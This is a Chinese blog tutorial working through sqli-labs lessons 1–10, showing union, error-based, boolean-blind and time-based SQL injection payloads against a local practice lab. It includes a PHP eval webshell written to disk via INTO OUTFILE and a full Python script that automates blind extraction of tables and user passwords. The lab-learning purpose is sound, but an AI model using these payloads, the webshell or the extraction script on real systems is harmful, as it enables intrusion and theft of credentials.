1. 程式人生 > >通過sqli-labs學習sql注入——基礎挑戰之less1-10

通過sqli-labs學習sql注入——基礎挑戰之less1-10

雖然sql注入接觸過不少,其實也不太多大笑,但是不繫統,那就通過sqli-libs系統學習總結一下吧

注:第一個就說得詳細一點,後面的有新知識才會說,所以第一個一定要看!!!如果第一個還有不明白的地方,歡迎評論提問,注意一定自己要先實踐。

我的學習的方法是什麼呢?

先自己嘗試一下注入,實在不行就看原始碼,再不行就看別人的指導,反正就是要弄懂奮鬥

開篇先說說一些基礎知識,當然一些基本的sql語句就自己去學吧(根據學習程序更新),less1的基礎知識也是比較多的!!,學到學不動了再寫個總結吧

url編碼:一般的url編碼其實就是那個字元的ASCII值得十六進位制,再在前面加個%

常用的寫出來吧: 空格是%20,單引號是%27, 井號是%23,雙引號是%22

判斷sql注入(顯錯和基於錯誤的盲注):單引號,and 1=1  和and 1=2,雙引號,反斜槓,註釋等

判斷基於時間的盲注:在上面的基礎上,加個sleep函式 ,如sleep(5) (函式不同資料庫有所不同)例子:   ' and sleep(5)    " and sleep(5)

sql 注入的基本步驟(這個跟sqlmap的步驟基本一致吧)


判斷是什麼型別注入,有沒過濾了關鍵字,可否繞過


獲取資料庫使用者,版本,當前連線的資料庫等資訊


獲取某個資料庫表的資訊


獲取列資訊


最後就獲取資料了

為了方便學習檢視,可以在原始碼中的$sql下一句語句寫以下php語句(就是輸出拿到資料庫查詢的完整語句是怎麼樣的)

echo "你的 sql 語句是:".$sql."<br>";

注:下面的可能有很多種注入方法,僅舉例一種

less 1   GET - Error based - Single quotes - String(基於錯誤的GET單引號字元型注入)

直接在後面加個單引號(當然你要在後面先加?id=一個數字),單引號被自動url編碼了


發現報了sql語句的語法錯誤,那麼應該存在sql注入,因為沒過濾單引號,我們就可以閉合單引號注入什麼的

SELECT * FROM users WHERE id='1'' 這樣拿去查詢肯定報錯啊,單引號都不匹配

接下來猜欄位,由於出了點問題,原來瀏覽器沒幫我把#url編碼


'#'url編碼後就是%23,如果是post注入提交#不用編碼也行


可以看到沒有第四列,所以只有3個欄位


下面直接用union 語句查詢,先看看1,2,3


怎麼沒有1,2,3中的兩個出現呢,直接將語句複製到資料庫的命令列也是可以查詢到兩行的啊!


不急,我們看一下原始碼,可以看到函式mysql_fetch_array只被呼叫了一次,而mysql_fetch_array() 函式從結果集中取得一行作為關聯陣列,或數字陣列,或二者兼有,具體看你第二個引數是什麼,具體可以看http://www.w3school.com.cn/php/func_mysql_fetch_array.asp,所以這裡無論怎麼折騰最後只會出來第一行的查詢結果


這裡我們先來看看如何把結果集的所有行都取出來呢,看下面的程式碼

while ($row = mysql_fetch_array($result)) {
  	echo "<font size='5' color= '#99FF00'>";
  	echo 'Your Login name:'. $row['username'];
  	echo "<br>";
  	echo 'Your Password:' .$row['password'];
  	echo "</font>";
}
那麼我們只要讓第一行查詢的結果是空集(即union左邊的select子句查詢結果為空),那麼我們union右邊的查詢結果自然就成為了第一行,就列印在網頁上了,這個id他一般傳的是數字,而且一般都是從1開始自增的,我們可以把id值設為非正數(負數或0),浮點數,字元型或字串都行,下面的就是分別舉例了



下面就真正查詢資料庫的各種資訊了(可以看到只有第2列和第3列的結果顯示在網頁上),所以我們就只能用2,3這個位置了,但是兩個位置應該是不夠用的,這時我們就用到資料庫的連線函數了,常用的就concat和concat_ws,其中concat_ws的第一個引數是連線字串的分隔符,還會用到group__concat(可以把查詢出來的多行連線起來)

看看怎麼使用

再次強調concat_ws的一個引數是連線字串的分隔符,這裡很明顯可以看到,但一般第一個引數一般都不是這樣傳過去的,因為會被html編碼,要使用mysql的char函式將十進位制ASCII碼轉化成字元,如下面的(:的十進位制ASCII是58),當然這裡的分隔符也可以多個字元


用的較多的就是這個啦,以後直接複製大笑(32是空格的十進位制ASCII)

concat_ws(char(32,58,32),user(),database(),version())

user():返回當前資料庫連線使用的使用者

database():返回當前資料庫連線使用的資料庫

version():返回當前資料庫的版本



接下來查詢security資料庫中有哪些表

首先說一下mysql的資料庫information_schema,他是系統資料庫,安裝完就有,記錄是當前資料庫的資料庫,表,列,使用者許可權等資訊,下面說一下常用的幾個表

SCHEMATA表:儲存mysql所有資料庫的基本資訊,包括資料庫名,編碼型別路徑等,show databases的結果取之此表。

TABLES表:儲存mysql中的表資訊,(當然也有資料庫名這一列,這樣才能找到哪個資料庫有哪些表嘛)包括這個表是基本表還是系統表,資料庫的引擎是什麼,表有多少行,建立時間,最後更新時間等。show tables from schemaname的結果取之此表

COLUMNS表:提供了表中的列資訊,(當然也有資料庫名和表名稱這兩列)詳細表述了某張表的所有列以及每個列的資訊,包括該列是那個表中的第幾列,列的資料型別,列的編碼型別,列的許可權,獵德註釋等。是show columns from schemaname.tablename的結果取之此表。 

通過直接在mysql控制檯實驗我們可以看到,查詢information_schema中的資訊時,使用where語句,那個值不能直接用英文,要用單引號包裹著,當然用其十六進位制表示也可以,數值型別的就不用單引號了,這對過濾單引號應該有指導意義,至於還有沒有其他表示,暫不知道,知道的可以告訴我


基礎講完了,直接上了(為了方便還是用火狐,外掛是hackbar)


這時我們又遇到一個問題,只能返回一個table(為什麼上面已經說過了),這時我們就要用的limit了, 第一個引數是結果集中的第幾個,跟C語言的陣列的索引一致,第二個引數就是個數

如 limit  1,2  :返回第二行和第三行,因為1表示是第二行,2表示行數是2

具體看圖吧

第二個表


第4個表


不斷變化limit的第一個引數即可列舉所有的表,一旦超出範圍,會返回空集


可以看到跟phpmyadmin的顯示是一致的


接下來列舉users的列名,因為一般我們只關心使用者的賬號密碼,有了它其他的登陸後一般就能查看了,拿到管理員的就最好不過了


同樣也是用limit一個一個來,就知道欄位有id,username,password


那麼最後一步了,那就簡單了,直接select出來就好


那麼使用者和密碼就一個一個出來了

當然這裡注入可以多樣的,其實是換湯不換藥,相同的都是用limit控制結果集的具體是那一行

如下面的,--後面要有空格(某些情況+可以代替空格,+瀏覽器會編碼成空格吧好像),你可以直接放phpmyadmin中測試

http://localhost/sqli-labs/Less-1/?id=-1' or 1=1 union select 1,2,concat_ws(char(32,58,32),id,database(),password) from  users limit 1,1 --+
http://localhost/sqli-labs/Less-1/?id=-1' and 1=2 union select 1,2,concat_ws(char(32,58,32),id,database(),password) from  users limit 1,1 -- k
這個你們可以具體實踐一下,最重要的就是實踐了,我也喜歡,這裡截個圖吧,--有無空格的情況


第一個就說得詳細一點,後面的有新知識才會說

less 2 GET - Error based - Intiger based (基於錯誤的GET整型注入)

這裡跟上面幾乎一樣,只是$id沒用單引號引著,(因為sql語句對於數字型的資料可以不加單引號),不寫單引號的注入就更簡單了


因為完全不用閉合‘或者註釋後面的’,但因為這裡只是從結果集獲取1行資料,要獲取全部資料還是要註釋後面的,自己加個limit子句


利用與上面基本相同,只是把下面的話就-1右邊的單引號去掉就可以了

http://localhost/sqli-labs/Less-2/?id=-1 union select 1,2,concat_ws(char(32,58,32),id,database(),password) from  users limit 0,1 %23

這個還有什麼又不一樣的可以告訴我

less 3 GET - Error based - Single quotes with twist string (基於錯誤的GET單引號變形字元型注入)

首先加個單引號看看

可以看到報錯那裡出來了一個),原來這就是單引號注入的變形,那麼我們在沒有最終的sql語句的情況下怎麼判斷呢

首先看到near和at之間的字串,直接將左右的引號去掉,那麼就得到'-1'') LIMIT 0,1 

我們明顯看到-1的右邊多了一個'這是似成相識的感覺吧,後面還有個),那麼對於的左邊也有(,我們看看程式碼是不是 id=('$id'),確實是的


payload:(應該是起作用的東東,應該可以這麼理解吧)

http://localhost/sqli-labs/Less-3/?id=-1%27) union select 1,2,concat_ws(char(32,58,32),id,username,password) from  users limit 6,1 --+

less 4 GET - Error based - Double Quotes - String (基於錯誤的GET雙引號字元型注入)

直接上單引號,發現沒有報錯,這是為什麼呢,因為php中雙引號可以包含單引號
所以我們在判斷注入時,要加入雙引號進行判斷哦,而且從下圖可看到右括號,那麼我們要用右括號閉合左括號
payload:
http://localhost/sqli-labs/Less-4/?id=1") union select 1,2,concat_ws(char(32,58,32),id,username,password) from  users limit 1,1 -- k

less 5 GET - Double Injection - Single Quotes - String (雙注入GET單引號字元型注入)

雙注入是什麼意思呢,看網上的好像是兩個select 難道是這樣 http://localhost/sqli-labs/Less-5/?id=1' union select 1,2,(select database()) %23
這個跟less2一樣,看下面就知道,那麼他為啥沒東西出來呢,看看原始碼咯

完全沒輸出$row,當然就沒有了

這裡我們用閉合的方法吧,那就,不用註釋了

payload:

http://localhost/sqli-labs/Less-5/?id=1' union select 1,2,concat_ws(char(32,58,32),id,username,password) from  users limit 1,1 union select   1,2,'3

但是實踐中,發現可以還可以加中文引號和中文,具體原理性的東西需要研究




2017.01.11更新:有位使用者評論,所以去查了一下

參考資料:http://www.2cto.com/article/201303/192718.html

簡單的一句話原理就是有研究人員發現,當在一個聚合函式,比如count函式後面如果使用分組語句就會把查詢的一部分以錯誤的形式顯示出來。

比如聚合函式count(*),就是多個東西的結果,count(*)返回的是總行數嘛

payload

http://localhost/sqli-labs/Less-5/?id=1' union select count(*),count(*), concat((select database()), floor(rand()*2)) as a from information_schema.tables group by a%23
當然只有一個也行
http://localhost/sqli-labs/Less-5/?id=1' union select count(*),1, concat((select database()), floor(rand()*2)) as a from information_schema.tables group by a%23

由於這裡有隨機性,所以要多重新整理幾遍才顯示出來


當然為了讓結果更清晰,可以加分隔符

比如

http://localhost/sqli-labs/Less-5/?id=1' union select count(*),1, concat('~',(select user()),'~', floor(rand()*2)) as a from information_schema.tables group by a%23

給一下具體payload吧,less 6即就改成雙引號就好

查表,改一下limit後面的數字就好

第一個表
http://localhost/sqli-labs/Less-5/?id=1' union select count(*),1, concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'~', floor(rand()*2)) as a from information_schema.tables group by a%23
http://localhost/sqli-labs/Less-5/?id=1' union select count(*),1, concat('~',(select table_name from information_schema.tables where table_schema='security' limit 1,1),'~', floor(rand()*2)) as a from information_schema.tables group by a%23
查列
http://localhost/sqli-labs/Less-5/?id=1' union select count(*),1, concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),'~', floor(rand()*2)) as a from information_schema.tables group by a%23
查資料
http://localhost/sqli-labs/Less-5/?id=1' union select count(*),1, concat('~',(select email_id from emails limit 0,1),'~', floor(rand()*2)) as a from information_schema.tables group by a%23

less 6 GET - Double Injection - Double Quotes - String (雙注入GET雙引號字元型注入)

這也是雙注入,醉了,知道的告訴我吧 這裡直接給payload,其實很多都可以,你想得到就好
http://localhost/sqli-labs/Less-6/?id=1" union select 1,2,concat_ws(char(32,58,32),id,username,password) from  users limit 1,1 -- k
//下面的這個”是中文雙引號
http://localhost/sqli-labs/Less-6/?id=1哈哈“ union select 1,2,concat_ws(char(32,58,32),id,username,password) from  users limit 1,1 -- k
http://localhost/sqli-labs/Less-6/?id=1哈哈“ union select 1,2,concat_ws(char(32,58,32),id,username,password) from  users limit 1,1 and ”+
繼續隨便亂搞,發現這語法也可以 SELECT * FROM users WHERE id=("1哈哈“ union select 1,2,concat_ws(char(32,58,32),id,username,password) from users文化館傳送到高 limit 1,1 呵呵and ” ") LIMIT 0,1
前面的less4測試過也是可以,那麼前面的單引號的課程改一下應該也是可以的 2017.01.11更新:
根據less5,這裡也一樣了,只不過是雙引號而已,上面的less5改為雙引號就好 http://localhost/sqli-labs/Less-6/?id=1" union select count(*),1, concat('~',(select user()),'~', floor(rand()*2)) as a from information_schema.tables group by a%23

less 7 GET - Dump into outfile - String (匯出檔案GET字元型注入)

匯出到檔案就是可以將查詢結果匯出到一個檔案中,如常見的將一句話木馬匯出到一個php檔案中,sqlmap中也有匯出一句話和一個檔案上傳的頁面 常用的語句是:  select "<?php @eval($_POST['giantbranch']);?>" into outfile "XXX\test.php" ,當這裡要獲取到網站的在系統中的具體路徑(絕對路徑) 這個要怎麼獲取呢,根據系統和資料庫猜測,如winserver的iis預設路徑是c:/inetpub/wwwroot/,這好像說偏了,這是asp的,但知道也好 linux的nginx一般是/usr/local/nginx/html,/home/wwwroot/default,/usr/share/nginx,/var/www/htm等 apache 就/var/www/htm,/var/www/html/htdocs
具體我也不是很熟悉 下面給一個很有可能獲取得到的方法,(因為less7不輸出資訊,先從less獲取資訊) 首先介紹兩個可以說是函式,還是變數的東西 @@datadir 讀取資料庫路徑
@@basedir MYSQL 獲取安裝路徑

如上圖,因為看到wamp,那麼預設的網站的根目錄的絕對路徑就是E:\wamp\www了 一開始報錯,不知為什麼
那就將語句放到phpmyadmin看看咯
原來是路徑的問題,轉義一下就可以了吧

注意:檔案不能覆蓋,如下圖(所以只能執行一次,只能換名字了)
最後的payload: http://localhost/sqli-labs/Less-7/?id=1')) union select 1,'2','<?php @eval($_POST["giantbranch"]);?>' into outfile 'E:\\wamp\\www\\sqli-labs\\muma.php' %23

那麼可以直接上菜刀了
當然除了匯出檔案還有匯入檔案,因為這裡前端沒顯示資料,可以匯入匯出同時使用即可


less 8 GET - Blind - Boolian Based - Single Quotes (布林型單引號GET盲注)

發現加個單引號跟沒加顯示不一樣,加了單引號連you are in都不顯示了,沒有報錯,所以只能用盲注判斷了 盲注需要掌握一些MySQL的相關函式:
length(str):返回str字串的長度。
substr(str, pos, len):將str從pos位置開始擷取len長度的字元進行返回。注意這裡的pos位置是從1開始的,不是陣列的0開始 mid(str,pos,len):跟上面的一樣,擷取字串  ascii(str):返回字串str的最左面字元的ASCII程式碼值。 ord(str):同上,返回ascii碼 if(a,b,c) :a為條件,a為true,返回b,否則返回c,如if(1>2,1,0),返回0 首先要記得常見的ASCII,A:65,Z:90 a:97,z:122,  0:48, 9:57 首先select database()查詢資料庫 ascii(substr((select database()),1,1)):返回資料庫名稱的第一個字母,轉化為ascii碼
ascii(substr((select database()),1,1))>64:ascii大於64就返回true,if就返回1,否則返回0
http://localhost/sqli-labs/Less-8/?id=1' and if(ascii(substr((select database()),1,1))>64, 1, 0) %23
或者這樣就簡單一點
http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>64 %23
為什麼這裡是布林型盲注呢,因為這裡沒把資料輸出,只是$row有資料和無資料的時候顯示的結果不一樣
猜資料庫名第一個字母具體過程,使用二分法
http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1)>64 %23 返回正確,大於64
http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>96 %23 返回正確,大於96
http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))<123 %23 返回正確,小於123 ,區間在97-122
http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>109 %23 返回正確,大於109,區間在110-122
http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>116 %23 返回錯誤,所以在110-116之間
http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>112 %23 返回正確,大於112,區間在113-116之間
http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>114 %23 返回正確,大於114,間在115-116之間
http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>115 %23 返回錯誤,不大於115,即第一個字母的ascii為115,即字母s
盲注過程是漫長的,一般是自己寫指令碼或使用工具輔助 寫指令碼之前要知道原理,上面的就是原理 下面基於這個寫了個提取users表資料的完整指令碼,大家可以參考下,當然如果大家用sqlmap也可以
# -*-coding:utf-8-*-

""" 
@version:  
@author: giantbranch 
@file: blindsqlinjection.py 
@time: 2016/5/1  
""" 

import urllib2
import urllib


success_str = "You are in"
getTable = "users"

index = "0"
url = "http://localhost/sqli-labs/Less-8/?id=1"
database = "database()"
selectDB = "select database()" 
selectTable = "select table_name from information_schema.tables where table_schema='%s' limit %d,1"


asciiPayload = "' and ascii(substr((%s),%d,1))>=%d #"
lengthPayload = "' and length(%s)>=%d #"
selectTableCountPayload = "'and (select count(table_name) from information_schema.tables where table_schema='%s')>=%d #"

selectTableNameLengthPayloadfront = "'and (select length(table_name) from information_schema.tables where table_schema='%s' limit " 
selectTableNameLengthPayloadbehind = ",1)>=%d #"


# 傳送請求,根據頁面的返回的判斷長度的猜測結果
# string:猜測的字串	payload:使用的payload	length:猜測的長度
def getLengthResult(payload, string, length):
	finalUrl = url + urllib.quote(payload % (string, length))
	res = urllib2.urlopen(finalUrl)
	if success_str in res.read():
		return True
	else:
		return False

# 傳送請求,根據頁面的返回的判斷猜測的字元是否正確
# payload:使用的payload	string:猜測的字串	pos:猜測字串的位置	ascii:猜測的ascii
def getResult(payload, string, pos, ascii):
	finalUrl = url + urllib.quote(payload % (string, pos, ascii))
	res = urllib2.urlopen(finalUrl)
	if success_str in res.read():
		return True
	else:
		return False

# 注入
def inject():
	# 猜資料庫長度
	lengthOfDBName = getLengthOfString(lengthPayload, database)
	print "length of DBname: " + str(lengthOfDBName)
	# 獲取資料庫名稱
	DBname = getName(asciiPayload, selectDB, lengthOfDBName)
	
	print "current database:" + DBname

	# 獲取資料庫中的表的個數
	# print selectTableCountPayload
	tableCount = getLengthOfString(selectTableCountPayload, DBname)
	print "count of talbe:" + str(tableCount)

	# 獲取資料庫中的表
	for i in xrange(0,tableCount):
		# 第幾個表
		num = str(i)
		# 獲取當前這個表的長度
		selectTableNameLengthPayload = selectTableNameLengthPayloadfront + num + selectTableNameLengthPayloadbehind
		tableNameLength = getLengthOfString(selectTableNameLengthPayload, DBname)
		print "current table length:" + str(tableNameLength)
		# 獲取當前這個表的名字
		selectTableName = selectTable%(DBname, i)
		tableName = getName(asciiPayload, selectTableName ,tableNameLength)
		print tableName


	selectColumnCountPayload = "'and (select count(column_name) from information_schema.columns where table_schema='"+ DBname +"' and table_name='%s')>=%d #"
	# print selectColumnCountPayload
	# 獲取指定表的列的數量
	columnCount = getLengthOfString(selectColumnCountPayload, getTable)
	print "table:" + getTable + " --count of column:" + str(columnCount)

	# 獲取該表有多少行資料
	dataCountPayload = "'and (select count(*) from %s)>=%d #"
	dataCount = getLengthOfString(dataCountPayload, getTable)
	print "table:" + getTable + " --count of data: " + str(dataCount)

	data = []
	# 獲取指定表中的列
	for i in xrange(0,columnCount):
		# 獲取該列名字長度
		selectColumnNameLengthPayload = "'and (select length(column_name) from information_schema.columns where table_schema='"+ DBname +"' and table_name='%s' limit "+ str(i) +",1)>=%d #"
		# print selectColumnNameLengthPayload
		columnNameLength = getLengthOfString(selectColumnNameLengthPayload, getTable)
		print "current column length:" + str(columnNameLength)
		# 獲取該列的名字
		selectColumn = "select column_name from information_schema.columns where table_schema='"+ DBname +"' and table_name='%s' limit %d,1"
		selectColumnName = selectColumn%(getTable, i)
		# print selectColumnName
		columnName = getName(asciiPayload, selectColumnName ,columnNameLength)
		print columnName

		tmpData = []
		tmpData.append(columnName)
		# 獲取該表的資料
		for j in xrange(0,dataCount):
			columnDataLengthPayload = "'and (select length("+ columnName +") from %s limit " + str(j) + ",1)>=%d #"
			# print columnDataLengthPayload
			columnDataLength = getLengthOfString(columnDataLengthPayload, getTable)
			# print columnDataLength
			selectData = "select " + columnName + " from users limit " + str(j) + ",1"
			columnData = getName(asciiPayload, selectData, columnDataLength)
			# print columnData
			tmpData.append(columnData)
	
		data.append(tmpData)

	# print data	
	# 格式化輸出資料
	# 輸出列名
	tmp = ""
	for i in xrange(0,len(data)):
		tmp += data[i][0] + "	"
	print tmp
	# 輸出具體資料
	for j in xrange(1,dataCount+1):
		tmp = ""
		for i in xrange(0,len(data)):
			tmp += data[i][j] + "	"
		print tmp
	
# 獲取字串的長度			
def getLengthOfString(payload, string):
	# 猜長度
	lengthLeft = 0
	lengthRigth = 0
	guess = 10
	# 確定長度上限,每次增加5
	while 1:
		# 如果長度大於guess
		if getLengthResult(payload, string, guess) == True:
			# 猜測值增加5
			guess = guess + 5	
		else:
			lengthRigth = guess
			break
	# print "lengthRigth: " + str(lengthRigth)
	# 二分法查長度
	mid = (lengthLeft + lengthRigth) / 2
	while lengthLeft < lengthRigth - 1:
		# 如果長度大於等於mid 
		if getLengthResult(payload, string, mid) == True:
			# 更新長度的左邊界為mid
			lengthLeft = mid
		else: 
		# 否則就是長度小於mid
			# 更新長度的右邊界為mid
			lengthRigth = mid
		# 更新中值
		mid = (lengthLeft + lengthRigth) / 2		
		# print lengthLeft, lengthRigth
	# 因為lengthLeft當長度大於等於mid時更新為mid,而lengthRigth是當長度小於mid時更新為mid
	# 所以長度區間:大於等於 lengthLeft,小於lengthRigth
	# 而迴圈條件是 lengthLeft < lengthRigth - 1,退出迴圈,lengthLeft就是所求長度
	# 如迴圈到最後一步 lengthLeft = 8, lengthRigth = 9時,迴圈退出,區間為8<=length<9,length就肯定等於8
	return lengthLeft

# 獲取名稱
def getName(payload, string, lengthOfString):
	# 32是空格,是第一個可顯示的字元,127是delete,最後一個字元
	tmp = ''
	for i in xrange(1,lengthOfString+1):
		left = 32 
		right = 127
		mid = (left + right) / 2
		while left < right - 1:
			# 如果該字串的第i個字元的ascii碼大於等於mid
			if getResult(payload, string, i, mid) == True:
				# 則更新左邊界
				left = mid
				mid = (left + right) / 2
			else:
			# 否則該字串的第i個字元的ascii碼小於mid
				# 則更新右邊界
				right = mid
			# 更新中值
			mid = (left + right) / 2
		tmp += chr(left)
		# print tmp
	return tmp	
		

def main():
	inject()
main()
執行結果:

less 9 GET - Blind - Time based. -  Single Quotes  (基於時間的GET單引號盲注)

判斷為單引號基於時間的注入
http://localhost/sqli-labs/Less-9/?id=1' and sleep(5) %23
這裡直接給payload
http://localhost/sqli-labs/Less-9/?id=1' and if(ascii(substr(database(),1,1))>115, 0, sleep(5)) %23

http://localhost/sqli-labs/Less-9/?id=1' and if(ascii(substr(database(),1,1))>114, 0, sleep(5)) %23
判斷資料庫名的第一個字母為s(ascii為115),判斷錯誤的話是暫停5秒 那麼這裡為什麼必須基於時間呢,因為你怎麼輸入,輸出結果都是You are in ,這就必須通過時間來判斷了

less 10 GET - Blind - Time based - double quotes (基於時間的雙引號盲注)

把上面的改成雙引號就行 判斷為基於時間的雙引號注入 http://localhost/sqli-labs/Less-10/?id=1" and sleep(5) %23
http://localhost/sqli-labs/Less-10/?id=1" and if(ascii(substr(database(),1,1))>115, 0, sleep(5)) %23
http://localhost/sqli-labs/Less-10/?id=1" and if(ascii(substr(database(),1,1))>114, 0, sleep(5)) %23


有時間把時間盲注也搞個指令碼出來,把上面的payload和判斷條件改一下應該就可以了

相關推薦

通過sqli-labs學習sql注入——基礎挑戰less1-10

雖然sql注入接觸過不少,其實也不太多,但是不繫統,那就通過sqli-libs系統學習總結一下吧 注:第一個就說得詳細一點,後面的有新知識才會說,所以第一個一定要看!!!如果第一個還有不明白的地方,歡迎評論提問,注意一定自己要先實踐。 我的學習的方法是什麼呢? 先自己嘗

通過sqli-labs學習sql注入——基礎挑戰less1

前言:            之前只是簡單瞭解過SQL注入,只僅僅侷限於會使用sqlmap等注入工具,但是手工注入方面就懂的很少了,所以準備通過sqli-lab這個注入平臺的學習好好研究下常見的手工注入方面的

sqli-labssql注入——基礎挑戰less11

5.暴庫中表uname=1admin'union select group_concat(table_name),database() from information_schema.tables where table_schema =database() # &&passwd=passw

通過sqli-labs學習sql注入——進階挑戰less23-28a

這次我又來了,Advanced Injections(進階挑戰),就是一些過濾繞過的東西了,基礎挑戰看這個兩篇 通過sqli-labs學習sql注入——基礎挑戰之less1-10 通過sqli-labs學習sql注入——基礎挑戰之less11-22

通過sqli-labs學習sql註入——基礎挑戰less1

根據 www 系統 必須 bsp log art near ror 環境準備: Phpstudy (PHP+Apache+Mysql) Sql-lab 首先了解下基礎知識: URL編碼: 因為在瀏覽器中,當我們訪問一個網址的時候,

(學習)SQL注入--寬位元組注入

SQL注入–寬位元組注入 實踐: http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1 頁面顯示: 顯然執行的查詢語句是: select id,title from news where id = '1' 其

sqli-labs學習(less-5-less-7)

先介紹一些函式   count(*) 返回在給定的選擇中被選的行數,即結果的數目     報錯了,但是union沒有出結果?,只是為什麼? 原來是這樣,這樣的話只能用報錯注入了 (1). 通過floor報錯 and (select 1 fro

【28】WEB安全學習----SQL注入總結

檢測注入 不管什麼資料庫注入,檢測是否有注入點是第一步,而檢測的方法大同小異。 1、閉合SQL拼接語句 要想進行下一步注入,首先需要閉合SQL語句,如何知道閉合符號是什麼呢?可通過在引數後面加入單引號或雙引號使其整條SQL拼接語句失敗,從而可從資料庫報錯資訊得知,若沒有

SQL 注入基礎系列1——猜解資料庫

DVWA.security=low.SQL Injection 後臺查詢語句: //後臺查詢Sql語句是: SELECT first_name, last_name FROM users WHERE user_id = '$id'; //當user_id輸入1時,實際執行的Sql語句是 S

SQL 注入基礎系列3——判斷sql注入

1 判斷是否存在sql注入漏洞 單引號判斷法 在引數後加單引號 http://xxx/abc.php?id=1' 如果頁面返回錯誤,則存在 Sql 注入。 因為無論字元型還是整型都會因為單引號個數不匹配而報錯。 (如果未報錯,不代表不存在 Sql 注入,因為有可能頁面對單引

SQL 注入基礎系列2——利用 SQL 漏洞繞過登入驗證

DVWA->SQL Injection //後臺sql語句 select * from users where username='$name' and password='$pwd'; 當查詢到資料表中存在同時滿足 username 和 password 欄位的資料時,會返回登入成功

sqli-labs學習記錄(一)

0x01 less-1 ‘$id’ 單引號注入 這裡寫程式碼片 http://localhost/sqli-labs-master/Less-1/?id=14' order by 3-- +

SQL注入基礎

背景 最近部門搞一次安全大賽,屬於業餘級別的,面向沒有系統黑客知識的參賽者。我本以為沒有多少人會參加的,沒有想到大家紛紛抱團組隊,誓要拿個冠軍回來。 當然我也投入到比賽的大軍之中,在比賽的這一週工作上的事情很多,根本抽不出時間查詢相關的解題技巧,當然其它同事

Spring MVC通過攔截器處理sql注入、跨站XSS攻擊風險(jeecg)

最近一個以前做的政府網站被資訊保安部門掃描了一下,存在一些風險,發了一份安全報告過來。所以開始對這個網站進行安全性升級。其中主要的幾個問題是sql注入風險、跨站xss攻擊和連結注入問題。 首先,什麼是sql注入,度娘一下一大堆,官方語言我就不多說了,說說我自己

sqli-labs————寬位元組注入(可以用於繞過濾了單引號或者\的WAF)

寬位元組注入的原理:原理:mysql在使用GBK編碼的時候,會認為兩個字元為一個漢字,例如%aa%5c就是一個漢字(前一個ascii碼大於128才能到漢字的範圍)。我們在過濾 ' 的時候,往往利用的思路

Sqli-labs學習第一題

很多東西瞭解一下,然後去用,總會遇到問題,一定不能淺嘗輒止,要深入學習下,不能說說,要及時複習,要經常用才不會忘。 一直用 sqlmap,很少手工注入,但是很多時候不是別人寫的工具就能解決的,要自己的工具適應不同的場景,編寫自己的工具,那麼首先要手工流程很熟悉

學習SQL的心得體會

大家好,我很高興,我再次和大家說,關於學習SQL 的一些心得體會,我覺得SQL真的很有意思,學起來總有一種讓人多學習一點的魔力。所以我希望通過寫這樣的文章多結交一些朋友。希望我們能共同學習進步。同時也希望各位能給我地一些幫助,能讓我更好更快學會這門SQL語言。 今天我就對我這

[深度學習]Object detection物體檢測DSSD(10)

目錄 主要改進 提出的動機 Deconvolutional SSD Prediction module Deconvolution Module 使用K-means 方法 setting prior box aspect ratio Result 論文全稱:《DS

SQL注入——sqli-labs-master 下載與安裝

轉載請註明出處:https://blog.csdn.net/l1028386804/article/details/84262285 注意事項,寫在前面。 php版本一定要設定成 7 以下,7之後的mysql_都改成了mysqli_**了,用7以上版本的話會報錯 **********

搭建sqli-labs環境來練習SQL注入

sqli-labs是什麼 SQLI-LABS是一個學習SQL注入的平臺: 基於錯誤的注入 (Union Select) String 字元型 Intiger 數字型 基於錯誤的注入 (基於雙注入) 盲注: 1.基於布林型的 2.基於時間